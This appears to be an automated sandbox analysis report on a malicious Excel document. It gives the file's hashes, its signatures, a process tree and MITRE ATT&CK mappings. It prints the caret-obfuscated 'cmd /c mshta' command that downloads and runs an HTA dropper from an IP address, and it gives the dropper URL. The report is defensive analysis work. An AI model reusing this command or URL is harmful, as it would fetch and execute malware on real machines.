711cce17f03661006598a1c6888aece3145f54a9d47cdd7780644d0ea7e34608

General

Target

2022-1-28-acfe7d6340b879f65260e326e9363cae.xls
Size

46KB
MD5

acfe7d6340b879f65260e326e9363cae
SHA1

7ede3c78229a8b40f993a8130dea7eaa623a42ce
SHA256

711cce17f03661006598a1c6888aece3145f54a9d47cdd7780644d0ea7e34608
SHA512

7c9b108e4abb276f19df16f629ff847cf7bfeb6812bacb87f789260dedbac81c9e4ac414ae088511a3c063154b16ebab7f928e8b37720815f076bb94263354d3

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3532	4048	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

39 964 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2164 964 WerFault.exe mshta.exe

flow	pid	process
39	964	mshta.exe

pid	pid_target	process	target process
2164	964	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4048 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 2164 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2164	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 4048 wrote to memory of 3532	4048	EXCEL.EXE	CMD.EXE
PID 4048 wrote to memory of 3532	4048	EXCEL.EXE	CMD.EXE
PID 3532 wrote to memory of 964	3532	CMD.EXE	mshta.exe
PID 3532 wrote to memory of 964	3532	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-acfe7d6340b879f65260e326e9363cae.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4048

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
PID:964

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 964 -s 1636
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/4048-115-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/4048-116-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/4048-117-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/4048-118-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/4048-119-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/4048-128-0x00007FFB36410000-0x00007FFB36420000-memory.dmp

Filesize
64KB

Download
memory/4048-129-0x00007FFB36410000-0x00007FFB36420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads